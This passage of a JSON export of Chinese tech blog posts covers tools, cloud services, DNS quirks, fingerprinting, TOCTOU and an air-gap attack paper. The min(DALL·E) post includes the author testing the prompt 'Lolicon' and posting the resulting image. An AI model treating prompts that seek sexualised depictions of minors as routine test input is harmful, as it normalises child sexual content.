href=\"https://opensource.org/licenses/GPL-2.0\">GPL-2.0</a>)</li>\r\n\t<li><a href=\"https://github.com/avast/retdec\">RetDec</a> (<a href=\"https://www.avast.com/\">Avast</a>，<a href=\"https://opensource.org/licenses/MIT\">MIT</a>)</li>\r\n\t<li><a href=\"https://github.com/smartdec/smartdec\">SmartDec</a> (<a href=\"https://opensource.org/licenses/GPL-3.0\">GPL-3.0</a>)</li>\r\n</ul>\r\n\r\n網站本身則是提供界面可以交叉比較，不過各家的結果看起來還是有侷限...",
    "title": "Decompile to C 的工具"
  },
  {
    "id": "10800",
    "body": "這邊講的替代方案不是換掉 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Teams\">Teams</a>，而是找其他的方法連上 Teams 伺服器，畢竟用 Teams 的人大多都沒得選...\r\n\r\n在「<a href=\"https://news.ycombinator.com/item?id=32084023\">Teams is killing my Mac every day (microsoft.com)</a>」這邊看到的一些資料可以嘗試，裡面有很多抱怨 Teams 的問題，但還是有些人有給出一些 workaround。\r\n\r\n大家主要遇到的問題除了 CPU 吃很兇以外，另外就是記憶體這塊。\r\n\r\n一種方法是是用 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Edge</a> 瀏覽器的 extension 來跑，我本來想看看 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上的 <a href=\"https://brave.com/\">Brave</a> 能不能裝，但沒有看到對應的安裝連結，大概是 Edge 限定：\r\n\r\n<blockquote>If you don't want to use the Microsoft Teams app (which uses a lot of resources), you can:\r\n\r\n1. Install the Microsoft Edge Web browser on your Mac\r\n\r\n2. Log into https://teams.microsoft.com\r\n\r\n3. Click ... &gt; Apps &gt; Install this site as an app\r\n\r\nThis will create an Edge app for Teams that uses almost no resources but has feature parity with the regular Microsoft Teams app.\r\n\r\nWe tell all of our students to do this, and it has solved all Microsoft Teams performance issues on student Macs (both Intel and Apple Silicon).</blockquote>\r\n\r\n另外有人提到其實官方是有放 <a href=\"https://en.wikipedia.org/wiki/Apple_M1\">M1</a> 的 preview 版本的，雖然不是正式版，但總是比 <a href=\"https://www.intel.com/\">Intel</a> 版本會好一些：\r\n\r\n<blockquote>If you're running an Apple Silicon Mac you can get an early build of Teams osx-arm64 from the exploration build link listed here.[0]\r\n\r\nI've been running a daily build for a few weeks and it's noticeably better than the Intel build on an M1 Pro. It launches in half the time and feels far more responsive (probably due to not needing to use the Rosetta JIT for Electron). That said it's still a daily \"exploration\" build so YMMV.\r\n\r\n[0] https://raw.githubusercontent.com/ItzLevvie/MicrosoftTeams-msinternal/master/defconfig</blockquote>\r\n\r\n據說會少吃一點點記憶體，就真的大概一點點：\r\n\r\n<blockquote>Can confirm it is snappier on a M1 Macbook Pro and using *less* RAM, maybe about 10% less.</blockquote>\r\n\r\n但據說這個 preview 版本在自我更新時會跳到 Intel 版本，還要再找一下 workaround 關掉自動更新：\r\n\r\n<blockquote>How do you prevent it from automatically updating to the Intel version? I keep downloading the preview builds and they keep getting updated.</blockquote>\r\n\r\n後面還有看到有人說他直接實體隔離，把這些肥滋滋的 app 跑在另外一台 Mac 上，然後透過 Universal Control 使用，大多數的情況下都夠用，真的有需要分享畫面時再跑在自己機器上，用完就可以關掉：\r\n\r\n<blockquote>Thanks for the tip. I'll give this a try!\r\n\r\nFor work, I have to run Microsoft Teams, Slack, and Discord. Of those 3, Slack surprisingly uses the least amount of memory (~700 MB), and Teams uses the most (~1.5 GB). I dusted off an old Intel Mac (literally) and interact with it using Universal Control. It only runs those 3 chat apps + mail. It's turned out to be a great way to offload resource hogs and as an added benefit, it minimizes distractions. I'll occasionally glance at the dock to see if there are any notification badges, whereas on my main Mac, I'd feel compelled to deal with notifications immediately.\r\n\r\nWhen I have to share my screen or focus on a conversation, I'll fire up one of those 3 apps on my main (M1) Mac and quit it when I'm done.\r\n\r\nUniversal Control still feels rough around the edges, but it has saved me from ditching my Macbook Air and shelling out for an M1 Macbook Pro. Sometimes there are issues with reconnecting to the Intel Mac, but it seems to resolve itself if I wait a bit or turn off/on wifi.</blockquote>\r\n\r\n大家都在找方法 XDDD",
    "title": "幾個其他 Teams 的替代方案 (但還是連到 Teams 伺服器)"
  },
  {
    "id": "10801",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://shkspr.mobi/blog/2022/07/dns-esoterica-why-you-cant-dig-switzerland/\">DNS Esoterica - Why you can't dig Switzerland</a>」這篇，裡面提到 <a href=\"https://en.wikipedia.org/wiki/Dig_(command)\">dig</a> 的 \"feature\"。\r\n\r\n拿來查 <code>tw</code> 的 NS 會這樣下：\r\n\r\n<pre>$ dig tw ns</pre>\r\n\r\n結果會是列出所有的 NS server：\r\n\r\n<pre>;; ANSWER SECTION:\r\ntw.                     3600    IN      NS      h.dns.tw.\r\ntw.                     3600    IN      NS      a.dns.tw.\r\ntw.                     3600    IN      NS      g.dns.tw.\r\ntw.                     3600    IN      NS      d.dns.tw.\r\ntw.                     3600    IN      NS      anytld.apnic.net.\r\ntw.                     3600    IN      NS      f.dns.tw.\r\ntw.                     3600    IN      NS      b.dns.tw.\r\ntw.                     3600    IN      NS      e.dns.tw.\r\ntw.                     3600    IN      NS      c.dns.tw.\r\ntw.                     3600    IN      NS      ns.twnic.net.</pre>\r\n\r\n照著作者說的，<code>uk</code> 的 <code>dig uk ns</code> 可以得到類似的結果：\r\n\r\n<pre>;; ANSWER SECTION:\r\nuk.                     86400   IN      NS      dns1.nic.uk.\r\nuk.                     86400   IN      NS      dns4.nic.uk.\r\nuk.                     86400   IN      NS      nsa.nic.uk.\r\nuk.                     86400   IN      NS      nsb.nic.uk.\r\nuk.                     86400   IN      NS      nsc.nic.uk.\r\nuk.                     86400   IN      NS      nsd.nic.uk.\r\nuk.                     86400   IN      NS      dns3.nic.uk.\r\nuk.                     86400   IN      NS      dns2.nic.uk.</pre>\r\n\r\n但如果你下 <code>dig ch ns</code> 就會出現錯誤，像是這樣：\r\n\r\n<pre>; &lt;&lt;&gt;&gt; DiG 9.16.1-Ubuntu &lt;&lt;&gt;&gt; ch ns\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: REFUSED, id: 5019\r\n;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;.                              CH      NS\r\n\r\n;; Query time: 0 msec\r\n;; SERVER: 127.0.0.1#53(127.0.0.1)\r\n;; WHEN: Fri Jul 15 06:54:24 CST 2022\r\n;; MSG SIZE  rcvd: 28</pre>\r\n\r\n原因是因為 <code>CH</code> 這個關鍵字是 <a href=\"https://en.wikipedia.org/wiki/Chaosnet\">Chaosnet</a> 的縮寫，而被特殊解讀：\r\n\r\n<blockquote>Set the query class. The default class is IN; other classes are HS for Hesiod records or CH for Chaosnet records.</blockquote>\r\n\r\n要避開這個解讀需要加上一個 dot (<code>.</code>)，採用 <a href=\"https://en.wikipedia.org/wiki/Fully_qualified_domain_name\">FQDN</a> 的方式列出：\r\n\r\n<pre>dig ch. ns</pre>\r\n\r\n就會得到正確的結果：\r\n\r\n<pre>;; ANSWER SECTION:\r\nch.                     86400   IN      NS      a.nic.ch.\r\nch.                     86400   IN      NS      b.nic.ch.\r\nch.                     86400   IN      NS      f.nic.ch.\r\nch.                     86400   IN      NS      d.nic.ch.\r\nch.                     86400   IN      NS      e.nic.ch.</pre>\r\n\r\n另外的方式是 <code>dig -c IN -t NS ch</code>，透過參數的方式讓 dig 不會誤會。",
    "title": "用 dig 查瑞士的 top domain 剛好會遇到的 \"feature\""
  },
  {
    "id": "10803",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=32084571\">Show HN: A benchmark for analytical databases (Snowflake, Druid, Redshift) (clickhouse.com)</a>」這邊看到 <a href=\"https://clickhouse.com/\">ClickHouse</a> 自家做的 benchmark 比較，網站在「<a href=\"https://benchmark.clickhouse.com/\">ClickBench — a Benchmark For Analytical DBMS</a>」這邊。\r\n\r\n這種 benchmark 基本上是拿來當作清單來看，另外 Hacker News 上的討論一定得看，尤其是沒被列上 benchmark 的...\r\n\r\n講到 ClickHouse，先前是有朋友跑來說他有個需求是需要跑分析，但遇到用 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 時發現寫入速度不夠快的問題，看看有沒有什麼方法可以解。問了多一點以後發現他的需求是 <a href=\"https://en.wikipedia.org/wiki/Online_analytical_processing\">OLAP</a> 類而不是 <a href=\"https://en.wikipedia.org/wiki/Online_transaction_processing\">OLTP</a> 類，就先跟他講要去找 OLAP engine 來解決。\r\n\r\n然後就聊到維基百科上「<a href=\"https://en.wikipedia.org/wiki/Comparison_of_OLAP_servers\">Comparison of OLAP servers</a>」這個條目，裡面列出來的 open source 軟體是不少，但 <a href=\"https://www.apache.org/\">Apache</a> 家基本上大家都知道是回收場，裡面就剩下 ClickHouse 比較常在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 以及其他地方被提到，但我有跟他講我連玩都沒玩過，我們家自己反而是用 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 與 <a href=\"https://trino.io/\">Trino</a> 搭出來的，當時沒有花太多時間研究市場上的方案，就挑了一個自己熟悉的方案趕快先解決。\r\n\r\n但過了兩天後他就說用 ClickHouse 解決了，反而讓我對 ClickHouse 有興趣起來，反正記憶體當時裝了一堆沒用到。\r\n\r\n拉了一下「<a href=\"https://tech.marksblogg.com/benchmarks.html\">Summary of the 1.1 Billion Taxi Rides Benchmarks</a>」這邊的資料看，這個作者常常會測各種資料庫，算是一個可以參考的資料來源，可以看到 2019 年測的「<a href=\"https://tech.marksblogg.com/billion-nyc-taxi-rides-clickhouse-cluster.html\">1.1 Billion Taxi Rides: 108-core ClickHouse Cluster</a>」其實就相當不錯了？\r\n\r\n基本上先照「<a href=\"https://clickhouse.com/docs/en/operations/tips/\">Usage Recommendations</a>」這邊看一輪，基本的要求不低，但剛好機器是 32GB RAM：\r\n\r\n<blockquote>If your system has less than 16 GB of RAM, you may experience various memory exceptions because default settings do not match this amount of memory. The recommended amount of RAM is 32 GB or more. You can use ClickHouse in a system with a small amount of RAM, even with 2 GB of RAM, but it requires additional tuning and can ingest at a low rate.</blockquote>\r\n\r\n如果要跑 cluster 模式的話會需要 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a> 或是替代品 <a href=\"https://clickhouse.com/docs/en/operations/clickhouse-keeper/\">ClickHouse Keeper</a>。\r\n\r\n然後除了使用官方的 <code>clickhouse-client</code> 連線以外，也可以用 <a href=\"https://dev.mysql.com/\">MySQL</a> 或是 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 client 連，裡面操作其實蠻簡單的，好像值得投資看看？",
    "title": "ClickHouse 自家做的 benchmark 比較"
  },
  {
    "id": "10806",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://arxiv.org/abs/2207.07413\">SATAn: Air-Gap Exfiltration Attack via Radio Signals From SATA Cables</a>」這個，透過 <a href=\"https://en.wikipedia.org/wiki/Serial_ATA\">SATA</a> 界面產生的電磁訊號突破 <a href=\"https://en.wikipedia.org/wiki/Air_gap_(networking)\">Air Gap</a> 限制傳輸資料，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=32139827\">SATAn: Air-Gap Exfiltration Attack via Radio Signals from SATA Cables (arxiv.org)</a>」。\r\n\r\n<blockquote>Although air-gap computers have no wireless connectivity, we show that attackers can use the SATA cable as a wireless antenna to transfer radio signals at the 6 GHz frequency band.</blockquote>\r\n\r\n翻了一下論文裡面提到的距離，在 PC-1 上測試到 120cm，對應的 <a href=\"https://en.wikipedia.org/wiki/Signal-to-noise_ratio\">SNR</a> 有 9db：\r\n\r\n<blockquote>Table IV presents the signal-to-noise ratio (SNR) received with the three transmitting computers. The signal transmitted from PC-1 has a strength of 20 dB at 30 cm to 9 dB at 120 cm apart. The signal generated from PC-1 and PC-2 were significantly weaker, with 15 dB at 60 cm (PC-2) and 7 dB at 30 cm (PC-3).</blockquote>\r\n\r\n另外大概是 PoC 的關係，只有簡單測一下是可行的 (對於真的有利用 air gap 的環境當作一種保護機制的威脅就夠大了)，看起來沒有測極限可以跑多快：\r\n\r\n<blockquote>We transmitted the data with a bit rate of 1 bit/sec, which is shown to be the minimal time to generate a signal which is strong enough for modulation.</blockquote>\r\n\r\n關於反制的部份，這類的技術 (透過電磁訊號) 之前在其他的裝置上都有發生過，目前的 air gap 標準應該都有電磁訊號洩漏的防範了，這篇主要還是在展示 SATA 也可以這樣搞 XD",
    "title": "用 SATA 界面產生的電磁訊號突破 Air Gap 限制傳輸資料"
  },
  {
    "id": "10807",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了 <code>r6a</code> (<a href=\"https://www.amd.com/\">AMD</a>) 的機種：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-r6a-instances-powered-by-3rd-gen-amd-epyc-processors-for-memory-intensive-workloads/\">New – Amazon EC2 R6a Instances Powered by 3rd Gen AMD EPYC Processors for Memory-Intensive Workloads</a>」。\r\n\r\n看了一下美東的價錢，<code>r6a</code> 比 <code>r5a</code> 貴了一點點，其中 <code>r6a.24xlarge</code> 是 US$5.4432/hour，而 <code>r5a.24xlarge</code> 則是 US$5.424/hour。\r\n\r\n官方宣稱與 <code>r5a</code> 相比有 35% 的 C/P 值改善：\r\n\r\n<blockquote>Up to 35 percent higher price performance per vCPU versus comparable R5a instances</blockquote>\r\n\r\n然後可以提供更大的機器，之前 <code>r5a</code> 的最大台機器是 <code>r5a.24xlarge</code> (96 vCPU + 768GB RAM)，但 <code>r6a</code> 則是拉到了 <code>r6a.48xlarge</code> 或是 <code>r6a.metal</code> (192 vCPU + 1536GB RAM)。\r\n\r\n不過目前看起來支援的地區還有限，目前工作用到的 <code>ap-southeast-1</code> 看起來還要再等一下：\r\n\r\n<blockquote>You can launch R6a instances today in the AWS US East (N. Virginia, Ohio), US West (Oregon), Asia Pacific (Mumbai) and Europe (Frankfurt, Ireland) as On-Demand, Spot, and Reserved Instances or as part of a Savings Plan.</blockquote>",
    "title": "Amazon EC2 推出 r6a 的機種"
  },
  {
    "id": "10808",
    "body": "<a href=\"https://slack.com/\">Slack</a> 宣佈了漲價的計畫：「<a href=\"https://slack.com/blog/news/pricing-and-plan-updates\">Everything you need to know about our first price change and plan updates</a>」。\r\n\r\n從今年九月開始漲價，Pro 的月費從 US$8 漲到 US$8.75 (+9.375%)，年費從 US$80 漲到 US$87 (+8.75%)：\r\n\r\n<blockquote>On September 1, 2022, monthly Pro plans will increase from $8 USD to $8.75 USD per user per month, and annual Pro plans will increase from $6.67 USD to $7.25 USD per user per month (pricing for other countries is available here).</blockquote>\r\n\r\n現有用戶有一次用原價 renew 一年的機會：\r\n\r\n<blockquote>Current customers on an annual Pro plan can lock in the existing annual rate of $6.67 USD per user per month for another year by early-renewing the annual Pro plan before September 1.</blockquote>\r\n\r\n看起來八月底得來刷一下了...",
    "title": "Slack 宣佈漲價"
  },
  {
    "id": "10809",
    "body": "查了一下現在的 <code>vm.swappiness</code>，發現跟以前又有一些差異。在「<a href=\"https://www.kernel.org/doc/html/latest/admin-guide/sysctl/vm.html\">Documentation for /proc/sys/vm/</a>」這邊可以看到說明。\r\n\r\n很久以前應該是 <code>0</code> 到 <code>100</code>，現在變成 <code>0</code> 到 <code>200</code> 了，其中設定成 <code>100</code> 會在比重公式裡讓 memory 與 swap 的計算上有相同的比重：\r\n\r\n<blockquote>This control is used to define the rough relative IO cost of swapping and filesystem paging, as a value between 0 and 200. At 100, the VM assumes equal IO cost and will thus apply memory pressure to the page cache and swap-backed pages equally; lower values signify more expensive swap IO, higher values indicates cheaper.</blockquote>\r\n\r\n另外是設定 <code>0</code> 時的方式，在不夠用的時候還是會去用：\r\n\r\n<blockquote>At 0, the kernel will not initiate swap until the amount of free and file-backed pages is less than the high watermark in a zone.</blockquote>\r\n\r\n目前看起來之前建議設成 <code>1</code> 的方式應該是還 OK...",
    "title": "現在的 vm.swappiness"
  },
  {
    "id": "10811",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=32163940\">TeamViewer installs suspicious font only useful for web fingerprinting (ctrl.blog)</a>」這邊看到的技巧，原文在「<a href=\"https://www.ctrl.blog/entry/teamviewer-font-privacy.html\">TeamViewer installs suspicious font only useful for web fingerprinting</a>」這邊，但文章標題本身可以忽略。\r\n\r\n這別提到的方法是，在安裝軟體時額外安裝一個特別的字型，然後網頁就可以透過 javascript 判斷這個字型存不存在，來得知使用者是否有安裝自己的軟體，接下來就可以走到不同的 flow：可以導引使用者下載軟體，或是透過 handler 拉起應用程式。\r\n\r\n不過這也透漏出了隱私問題，代表廣告商可以利用這點取得 fingerprint，而不只是軟體自家的網站。\r\n\r\n看討論串裡面說 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 上可以用 <code>privacy.resistFingerprinting</code> 擋住：「<a href=\"https://support.mozilla.org/en-US/kb/firefox-protection-against-fingerprinting\">Firefox's protection against fingerprinting</a>」，但 Firefox 本身也沒有說明的太清楚到底會放行哪些字型：\r\n\r\n<blockquote>Not all fonts installed on your computer are available to webpages</blockquote>\r\n\r\n在「<a href=\"https://wiki.mozilla.org/Security/Fingerprinting\">Security/Fingerprinting</a>」這頁則是：\r\n\r\n<blockquote>We only allow specific system fonts to be used, and we ship them to the user using kinto</blockquote>\r\n\r\n直接試著找 <a href=\"https://bugzilla.mozilla.org/\">Bugzilla</a> 與 source code 的資料可以翻到「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1653987\">Restrict CSS font visibility to standard fonts only when privacy.resistFingerprinting is true</a>」這個討論，裡面有提到「<a href=\"https://searchfox.org/mozilla-central/search?path=StandardFonts*.inc\">https://searchfox.org/mozilla-central/search?path=StandardFonts*.inc</a>」這個，可以看到有 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>、<a href=\"https://www.apple.com/macos/\">macOS</a> 與 <a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a> 下的清單。\r\n\r\n不過 Chromium-based browser 下目前好像沒看到方案...",
    "title": "利用字型來判斷使用者是否有安裝特定軟體"
  },
  {
    "id": "10812",
    "body": "幾個禮拜前看到「<a href=\"https://news.ycombinator.com/item?id=31903076\">Show HN: I stripped DALL·E Mini to its bare essentials and converted it to Torch (github.com/kuprel)</a>」這個東西，有訓練好的 model 可以直接玩文字轉圖片，<a href=\"https://github.com/\">GitHub</a> 專案在「<a href=\"https://github.com/kuprel/min-dalle\">min(DALL·E) is a fast, minimal port of DALL·E Mini to PyTorch</a>」這邊可以取得。\r\n\r\n因為這是包裝過的版本，裝起來 &amp; 跑起來都很簡單，但沒想到桌機的 <a href=\"https://en.wikipedia.org/wiki/GeForce_10_series\">1080 Ti</a> 還是跑不動，只能用 CPU 硬扛了，速度上當然是比官網上面列出來用 GPU 的那些慢很多，但至少能跑起來玩看看。\r\n\r\n首先是拿官方的句子來玩看看，第一次跑會需要下載 model (會放到我們指定的 <code>pretrained</code> 目錄下)：\r\n\r\n<pre>#!/usr/bin/env python3\r\n\r\nfrom min_dalle import MinDalle\r\nimport torch\r\n\r\nmodel = MinDalle(\r\n    models_root='./pretrained',\r\n    dtype=torch.float32,\r\n    device='cpu',\r\n    is_mega=True,\r\n    is_reusable=False,\r\n)\r\n\r\nimages = model.generate_image(\r\n    text='Nuclear explosion broccoli',\r\n    seed=-1,\r\n    grid_size=2,\r\n    is_seamless=False,\r\n    temperature=1,\r\n    top_k=256,\r\n    supercondition_factor=32,\r\n    is_verbose=False,\r\n)\r\n\r\nimages = images.save('test.png')</pre>\r\n\r\n我自己在下載過後，跑每個生成大概都需要十分鐘左右 (參數就像上面列的，CPU 是 <a href=\"https://www.amd.com/\">AMD</a> 的 5800X，定頻跑在 4.5GHz)，出來的結果是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oRyzQhW.webp\" /><img src=\"https://i.gslin.com/imgur/oRyzQhW.png\" alt=\"\" /></picture>\r\n\r\n接著是一些比較普通的描述，這是 <code>sleeping fat cats</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/85yQygQ.webp\" /><img src=\"https://i.gslin.com/imgur/85yQygQ.png\" alt=\"\" /></picture>\r\n\r\n然後來測試看看一些比較偏門的詞，像是 <code>Lolicon</code>，這個就差蠻多了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UdI6oz8.webp\" /><img src=\"https://i.gslin.com/imgur/UdI6oz8.png\" alt=\"\" /></picture>\r\n\r\n但感覺有蠻多應用可以掛上去，這樣有點想買張 3090 了...",
    "title": "玩玩文字轉圖片的 min(DALL·E)"
  },
  {
    "id": "10813",
    "body": "查資料的時候看到「<a href=\"https://mozilla.github.io/standards-positions/\">Mozilla Specification Positions</a>」這個，可以看到 <a href=\"https://www.mozilla.org/\">Mozilla</a> 對各種規格的態度，分成幾個不同的類型。\r\n\r\n有「under consideration」、「important」、「worth prototyping」這幾個從名字上就大概猜的出來意思，接下來的幾個比較有趣的是「non-harmful」、「defer」與「harmful」。\r\n\r\n官方的說明是：\r\n\r\n<ul>\r\n\t<li>under consideration: Mozilla's position on this specification is being discussed.</li>\r\n\t<li>important: This specification is conceptually good and is important to Mozilla.</li>\r\n\t<li>worth prototyping: Mozilla sees this specification as conceptually good, and worth prototyping, getting feedback on its value, and iterating.</li>\r\n\t<li>non-harmful: Mozilla does not see this specification as harmful, but is not convinced that it is a good approach or worth working on.</li>\r\n\t<li>defer: Mozilla does not intend to look at this specification at all in the near future.</li>\r\n\t<li>harmful: Mozilla considers this specification to be harmful in its current state.</li>\r\n</ul>\r\n\r\n所以之後看到一些標準時可以過來這邊看看 Mozilla 的態度...",
    "title": "Mozilla 把對各種規格的態度整理成一個網頁"
  },
  {
    "id": "10814",
    "body": "<a href=\"https://github.com/wezm/rsspls\">RSS Please</a> 是一套簡單設定 (但應該是對 programmer 簡單)，可以把網頁內容轉成 RSS/Atom feed 的軟體。\r\n\r\n我把官網上範例的註解拿掉，可以看到你需要去讀 HTML 頁面的結構，然後找出對應的 css selector：\r\n\r\n<pre>output = \"/tmp\"\r\n\r\n[[feed]]\r\ntitle = \"My Great RSS Feed\"\r\nfilename = \"wezm.rss\"\r\n\r\n[feed.config]\r\nurl = \"https://www.wezm.net/\"\r\nitem = \"article\"\r\nheading = \"h3 a\"\r\nsummary = \".post-body\"\r\ndate = \"time\"</pre>\r\n\r\n跟我在 <a href=\"https://github.com/hasname/feedgen\">feedgen</a> 上用 <a href=\"https://www.python.org/\">Python</a> 做的事情其實差不多，他用了彈性換方便性：rsspls 可以簡單設定一些值就生出一個 feed，而我這邊的 feedgen 需要寫一段 code (雖然不長)；但因為 feedgen 是用 Python 處理事情，所以可以不只可以讀 HTML 也可以讀 JSON API，另外也可以設計一些轉換邏輯 (像是 summary 的部份)。\r\n\r\n但有人寫起來推廣總是不錯...",
    "title": "透過一些簡單的設定，產生 RSS 頁面的 RSS Please (rsspls)"
  },
  {
    "id": "10815",
    "body": "看「<a href=\"https://lwn.net/Articles/899543/\">The trouble with symbolic links</a>」這篇的時候看到的專有名詞：「TOCTOU (<a href=\"https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use\">Time-of-check to time-of-use</a>)」，直翻是「先檢查再使用」，算是一個常見的 security (hole) pattern，因為檢查完後有可能被其他人改變，接著使用的時候就有可能產生安全漏洞。\r\n\r\n在資料庫這類環境下，有 <a href=\"https://en.wikipedia.org/wiki/Isolation_(database_systems)\">isolation</a> (<a href=\"https://en.wikipedia.org/wiki/ACID\">ACID</a> 裡的 <code>I</code>) 可以確保不會發生這類問題 (需要 <code>REPEATABLE-READ</code> 或是更高的 isolation level)。\r\n\r\n但在檔案系統裡面看起來不太順利，2004 年的時候研究出來沒有 portable 的方式可以確保避免 TOCTOU 的問題發生：\r\n\r\n<blockquote>In the context of file system TOCTOU race conditions, the fundamental challenge is ensuring that the file system cannot be changed between two system calls. In 2004, an impossibility result was published, showing that there was no portable, deterministic technique for avoiding TOCTOU race conditions.</blockquote>\r\n\r\n其中一種 mitigation 是針對 fd 監控：\r\n\r\n<blockquote>Since this impossibility result, libraries for tracking file descriptors and ensuring correctness have been proposed by researchers.</blockquote>\r\n\r\n然後另外一種方式 (比較治本) 是檔案系統的 API 支援 transaction，但看起來不被主流接受？\r\n\r\n<blockquote>An alternative solution proposed in the research community is for UNIX systems to adopt transactions in the file system or the OS kernel. Transactions provide a concurrency control abstraction for the OS, and can be used to prevent TOCTOU races. While no production UNIX kernel has yet adopted transactions, proof-of-concept research prototypes have been developed for Linux, including the Valor file system and the TxOS kernel. Microsoft Windows has added transactions to its NTFS file system, but Microsoft discourages their use, and has indicated that they may be removed in a future version of Windows.</blockquote>\r\n\r\n目前看起來的問題是沒有一個讓 Linux community 能接受的 API 設計？",
    "title": "原來有專有名詞：TOCTOU (Time-of-check to time-of-use)"
  },
  {
    "id": "10817",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://en.wikipedia.org/wiki/Anycast\">Anycast</a> 服務 <a href=\"https://aws.amazon.com/global-accelerator/\">AWS Global Accelerator</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/IPv6\">IPv6</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-for-aws-global-accelerator-internet-protocol-version-6-ipv6-support/\">New for AWS Global Accelerator – Internet Protocol Version 6 (IPv6) Support</a>」。\r\n\r\n算是補功能，不過這個功能只對於「純 IPv6 環境」的使用者端有用 (沒有 <a href=\"https://en.wikipedia.org/wiki/DNS64\">DNS64</a> + <a href=\"https://en.wikipedia.org/wiki/NAT64\">NAT64</a> 的轉換)，目前商轉給一般使用者用的 IPv6 環境應該都還是有掛 DNS64 + NAT64 才對...\r\n\r\n另外使用這個功能會需要 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 有 IPv6 能力：\r\n\r\n<blockquote>To test this new feature, I need a dual-stack application with an ALB entry point. The application must be deployed in Amazon Virtual Private Cloud (Amazon VPC) and support IPv6 traffic.</blockquote>\r\n\r\n然後 <a href=\"https://en.wikipedia.org/wiki/IPv4\">IPv4</a> 會進到 IPv4 的服務裡，IPv6 則會進到 IPv6 的服務裡：\r\n\r\n<blockquote>Protocol translation is not supported, neither IPv4 to IPv6 nor IPv6 to IPv4. For example, Global Accelerator will not allow me to configure a dual-stack accelerator with an IPv4-only ALB endpoint. Also, for IPv6 ALB endpoints, client IP preservation must be enabled.</blockquote>\r\n\r\n短時間還用不太到，但之後應該有機會...",
    "title": "AWS Global Accelerator 支援 IPv6"
  },
  {
    "id": "10818",
    "body": "看到「<a href=\"https://blog.gitea.io/2022/07/gitea-1.17.0-is-released/\">Gitea 1.17.0 is released</a>」這個，<a href=\"https://gitea.io/\">Gitea</a> 1.17.0 開始提供 <a href=\"https://docs.gitea.io/en-us/packages/overview/\">Package Registry</a> 的功能，支援的包括了：\r\n\r\n<ul>\r\n\t<li>Composer (PHP)</li>\r\n\t<li>Conan (C++)</li>\r\n\t<li>Container</li>\r\n\t<li>Generic</li>\r\n\t<li>Helm</li>\r\n\t<li>Maven (Java)</li>\r\n\t<li>npm (JavaScript)</li>\r\n\t<li>NuGet (.NET)</li>\r\n\t<li>PyPI (Python)</li>\r\n\t<li>RubyGems (Ruby)</li>\r\n</ul>\r\n\r\n基本上常見的都有支援？相比於 <a href=\"https://gitlab.com/\">GitLab</a> 的 <a href=\"https://docs.gitlab.com/ee/user/packages/package_registry/\">Package Registry</a> 是少了 <a href=\"https://docs.gitlab.com/ee/user/packages/debian_repository/\">Debian</a> 這個，其他的看起來都有...\r\n\r\n不過少這個好像剛好是我用的到的...",
    "title": "Gitea 1.17.0 支援 Package Registry"
  },
  {
    "id": "10821",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 發表了 2022 Q2 硬碟使用的報告：「<a href=\"https://www.backblaze.com/blog/backblaze-drive-stats-for-q2-2022/\">Backblaze Drive Stats for Q2 2022</a>」。\r\n\r\n第一張是綜合性的資料，從 2013 年到現在還活著的型號都拉出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rvgOOHA.webp\" /><img src=\"https://i.gslin.com/imgur/rvgOOHA.jpg\" alt=\"\" /></picture>\r\n\r\n表格裡面好像有些錯誤的地方，像是 <a href=\"https://www.seagate.com/\">Seagate</a> 的 <a href=\"https://www.seagate.com/enterprise-storage/exos-drives/exos-x-drives/exos-x12/\">ST12000NM0007</a> 這顆的數字就對不太起來，1288 顆但是有 1989 次的 failure，另外 drive days 累計有 35,823,850 days，平均下來是 27813 天 (76 年？)，另外 <a href=\"https://en.wikipedia.org/wiki/Annualized_failure_rate\">AFR</a> 只有 2.03% (低 1.90%，高 2.10%)。\r\n\r\n就算硬碟數量多一個零變成 12880 顆也還是對不太起來，查 datasheet 看起來這個型號是 2017 年出的，到現在也才五年多，76 年的 1/10 變成 7.6 年也對不起來，這個部份看後續會不會更正好了...\r\n\r\n另外作者另外把比較有指標性的型號拉出來，可以看到 <a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 在歷史上的表現很好：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kQtoC6U.webp\" /><img src=\"https://i.gslin.com/imgur/kQtoC6U.jpg\" alt=\"\" /></picture>\r\n\r\n然後就算只過濾 2022 Q2 的故障資料，還是可以看到 HGST 在近期的 AFR 